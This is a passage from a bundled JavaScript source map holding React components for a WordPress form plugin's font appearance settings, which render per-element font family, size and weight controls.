hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'upload',\n\t\t\t'file-type',\n\t\t\t'single'\n\t\t) || hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'postdata',\n\t\t\t'post_image',\n\t\t\t'false'\n\t\t);\n\n\t\tconst hasMultiUpload = hasFieldWithAttribute(\n\t\t\tthis.props.wrappers,\n\t\t\t'upload',\n\t\t\t'file-type',\n\t\t\t'multiple'\n\t\t);\n\n\t\tconst hasESign = hasFieldType(\n\t\t\t'signature',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasCalculation = hasFieldType(\n\t\t\t'calculation',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst hasGroup = hasFieldType(\n\t\t\t'group',\n\t\t\tthis.props.wrappers\n\t\t);\n\n\t\tconst isPreset = ! _.isUndefined( this.props.preset );\n\n\t\tconst hasPaginationHeader = _.isUndefined( this.props.settings.paginationData ) || _.isUndefined( this.props.settings.paginationData[ 'pagination-header-design' ] )\n\t\t\t? ''\n\t\t\t: this.props.settings.paginationData[ 'pagination-header-design' ];\n\n\t\tconst paginationHeader = _.isUndefined( this.props.settings.paginationData ) || _.isUndefined( this.props.settings.paginationData[ 'pagination-header' ] )\n\t\t\t? ''\n\t\t\t: this.props.settings.paginationData[ 'pagination-header' ];\n\n\t\treturn (\n\t\t\t<SettingsRow\n\t\t\t\tlabel={ translate( 'Fonts' ) }\n\t\t\t\tdescription={ translate(\n\t\t\t\t\t'By default this form will inherit the fonts your theme uses. ' +\n\t\t\t\t\t'You can overwrite these fonts with custom ones from ' +\n\t\t\t\t\t'{{link}}Bunny Fonts{{/link}}.',\n\t\t\t\t\t{\n\t\t\t\t\t\tcomponents: {\n\t\t\t\t\t\t\tlink: <a href=\"https://fonts.bunny.net/about\" target=\"_blank\" />,\n\t\t\t\t\t\t},\n\t\t\t\t\t}\n\t\t\t\t) }\n\t\t\t>\n\n\t\t\t\t<RadioTabs\n\t\t\t\t\t{ ...this.props }\n\t\t\t\t\tproperty=\"form-font-family\"\n\t\t\t\t\tdefault=\"\"\n\t\t\t\t>\n\n\t\t\t\t\t<Empty\n\t\t\t\t\t\tvalue=\"\"\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Use Theme Fonts' ) }\n\t\t\t\t\t</Empty>\n\n\t\t\t\t\t<Container\n\t\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\t\tlabel={ translate( 'Custom' ) }\n\t\t\t\t\t>\n\n\t\t\t\t\t\t<div className=\"sui-accordion\">\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Response Message' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-response\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"15\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t{ ( isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav' ) &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Pagination Steps' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-timeline\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t{ ( isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar' ) &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Pagination Progress Bar' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-progress\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Fields Label' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-label\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"13\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"700\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Fields Description' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-description\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Fields Error Message' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-validation\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t{ hasSection &&\n\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Section Title' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"cform-title\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"45\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Section Subtitle' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"cform-subtitle\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"18\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Input and Textarea' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-input\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"Roboto\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t{ ( hasCalculation ) &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Input Prefix' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-input-prefix\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t{ ( hasCurrency ||\n\t\t\t\t\t\t\t\thasCalculation\n\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Input Suffix' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-input-suffix\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\thasMultiCheckbox ||\n\t\t\t\t\t\t\t\thasSingleRadio ||\n\t\t\t\t\t\t\t\thasGDPR\n\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Radio and Checkbox' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-radio\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"14\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ (\n\t\t\t\t\t\t\t\thasSingleDropdown ||\n\t\t\t\t\t\t\t\thasDateDropdown ||\n\t\t\t\t\t\t\t\thasTimeDropdown ||\n\t\t\t\t\t\t\t\thasAddresCountry ||\n\t\t\t\t\t\t\t\thasNamePrefix\n\t\t\t\t\t\t\t) &&\n\t\t\t\t\t\t\t\t<React.Fragment>\n\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Select' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"cform-select\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Dropdown' ) }\n\t\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"cform-dropdown\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t\t\t</React.Fragment>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasDatePicker &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Calendar' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-calendar\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tfamilyOnly\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasMultiSelect &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Multi Select' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-multiselect\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasSingleUpload &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Single File Upload' ) }\n\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t<Tabs\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\ttype=\"tabs\"\n\t\t\t\t\t\t\t\t\t\tdefault=\"upload-single-button\"\n\t\t\t\t\t\t\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tvalue=\"upload-single-button\"\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Upload Button' ) }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"upload-single-button\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"14\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"700\"\n\t\t\t\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tvalue=\"upload-single-text\"\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'File Name' ) }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"upload-single-text\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"700\"\n\t\t\t\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t\t\t</Tabs>\n\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasMultiUpload &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Multiple Files Upload' ) }\n\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t<Tabs\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\ttype=\"tabs\"\n\t\t\t\t\t\t\t\t\t\tdefault=\"upload-multiple-panel\"\n\t\t\t\t\t\t\t\t\t\textraClass=\"sui-tabs-flushed\"\n\t\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tvalue=\"upload-multiple-panel\"\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'Upload Panel' ) }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"upload-multiple-panel\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"13\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tvalue=\"upload-multiple-file-name\"\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'File Name' ) }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"upload-multiple-file-name\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"13\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\t\tvalue=\"upload-multiple-file-size\"\n\t\t\t\t\t\t\t\t\t\t\tlabel={ translate( 'File Size' ) }\n\t\t\t\t\t\t\t\t\t\t\tprefix=\"upload-multiple-file-size\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t\t/>\n\n\t\t\t\t\t\t\t\t\t</Tabs>\n\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasESign &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'E-Signature Placeholder' ) }\n\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-esign-placeholder\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"16\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"400\"\n\t\t\t\t\t\t\t\t\t></FontSettings>\n\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasGroup &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Repeater Button' ) }\n\t\t\t\t\t\t\t\t>\n\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-repeater-button\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"12\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"Roboto\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t></FontSettings>\n\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t{ hasPagination &&\n\t\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tlabel={ translate( 'Pagination Buttons' ) }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\t\tprefix=\"cform-pagination-buttons\"\n\t\t\t\t\t\t\t\t\t\tdefaultSize=\"14\"\n\t\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t\t</Accordion>\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t<Accordion\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Submit Button' ) }\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t<FontSettings\n\t\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\t\tprefix=\"cform-button\"\n\t\t\t\t\t\t\t\t\tdefaultSize=\"14\"\n\t\t\t\t\t\t\t\t\tdefaultFont=\"custom\"\n\t\t\t\t\t\t\t\t\tdefaultCustom=\"inherit\"\n\t\t\t\t\t\t\t\t\tdefaultWeight=\"500\"\n\t\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t\t</Accordion>\n\n\t\t\t\t\t\t</div>\n\n\t\t\t\t\t</Container>\n\n\t\t\t\t</RadioTabs>\n\n\t\t\t</SettingsRow>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/fonts.js","import React, { Component } from 'react';\nimport { getFontVariants, translate, getThemePrefix, getDefaultValue } from '../../../utils';\n\nimport Row from '../../../settings/containers/row';\nimport Col from '../../../settings/containers/col';\nimport Input from '../../../settings/inputs/input';\nimport SuiSelect2 from '../../../settings/inputs/sui-select2';\n\nexport default class SuFontSettingsiSelect extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\tbackwardsCompat( variant, variants ) {\n\t\tif ( ! _.contains( variants, variant ) ) {\n\t\t\tvariants.push( variant );\n\t\t}\n\n\t\treturn variants;\n\t}\n\n\trender() {\n\t\tconst prefixTheme = getThemePrefix(this.props);\n\t\tconst prefix = prefixTheme + this.props.prefix;\n\n\t\tconst defaultFont = 'basic-' === prefixTheme ? '' : this.props.defaultFont;\n\t\tconst font = ! _.isUndefined( this.props.settings[ prefix + '-font-family' ] )\n\t\t\t? this.props.settings[ prefix + '-font-family' ]\n\t\t\t: defaultFont\n\t\t\t;\n\n\t\tconst fcus = ! _.isUndefined( this.props.settings[ prefix + '-custom-family' ] )\n\t\t\t? this.props.settings[ prefix + '-custom-family' ]\n\t\t\t: this.props.defaultCustom\n\t\t\t;\n\n\t\tconst defaultWeight = 'basic-' === prefixTheme ? '' : this.props.defaultWeight;\n\t\tconst variant = ! _.isUndefined( this.props.settings[ prefix + '-font-weight' ] )\n\t\t\t? this.props.settings[ prefix + '-font-weight' ]\n\t\t\t: defaultWeight\n\t\t\t;\n\n\t\tconst defaultSize = 'basic-' === prefixTheme ? '' : this.props.defaultSize;\n\t\tconst size = ! _.isUndefined( this.props.settings[ prefix + '-font-size' ] )\n\t\t\t? this.props.settings[ prefix + '-font-size' ]\n\t\t\t: defaultSize\n\t\t\t;\n\n\t\tconst fontVariants = getFontVariants( font, window.forminatorFonts );\n\n\t\tconst variants = this.backwardsCompat( variant, fontVariants );\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t<Row>\n\t\t\t\t\t<Col cols=\"12\">\n\t\t\t\t\t\t<SuiSelect2\n\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\tlabel={ translate( 'Font Family' ) }\n\t\t\t\t\t\t\tplaceholder={ translate( 'Roboto' ) }\n\t\t\t\t\t\t\tproperty={`${ prefix }-font-family`}\n\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, font) }`}\n\t\t\t\t\t\t>\n\t\t\t\t\t\t\t{ _.map( window.forminatorFonts, ( fontData ) => (\n\t\t\t\t\t\t\t\t<option\n\t\t\t\t\t\t\t\t\tvalue={ fontData.family }\n\t\t\t\t\t\t\t\t\tkey={ fontData.family }\n\t\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t\t{ fontData.family }\n\t\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t) ) }\n\t\t\t\t\t\t\t<option\n\t\t\t\t\t\t\t\tvalue=\"\"\n\t\t\t\t\t\t\t\tkey=\"inherit\"\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t{ translate( 'inherit' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t\t<option\n\t\t\t\t\t\t\t\tvalue=\"custom\"\n\t\t\t\t\t\t\t\tkey=\"custom\"\n\t\t\t\t\t\t\t>\n\t\t\t\t\t\t\t\t{ translate( 'Custom user font' ) }\n\t\t\t\t\t\t\t</option>\n\t\t\t\t\t\t</SuiSelect2>\n\t\t\t\t\t\t{ font === 'custom' &&\n\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\ttype=\"text\"\n\t\t\t\t\t\t\t\tproperty={`${ prefix }-custom-family`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, fcus) }`}\n\t\t\t\t\t\t\t\tplaceholder={ translate( 'E.g., Arial, sans-serif' ) }\n\t\t\t\t\t\t\t\tlabel={ translate( 'Custom font family' ) }\n\t\t\t\t\t\t\t\tprefix=\"\"\n\t\t\t\t\t\t\t/>\n\t\t\t\t\t\t}\n\t\t\t\t\t</Col>\n\t\t\t\t</Row>\n\n\t\t\t\t{ ! this.props.familyOnly &&\n\t\t\t\t\t<Row>\n\t\t\t\t\t\t<Col cols=\"6\">\n\t\t\t\t\t\t\t<Input\n\t\t\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\t\t\ttype=\"number\"\n\t\t\t\t\t\t\t\tproperty={`${ prefix }-font-size`}\n\t\t\t\t\t\t\t\tdefaultValue={`${ getDefaultValue(this.props, size) 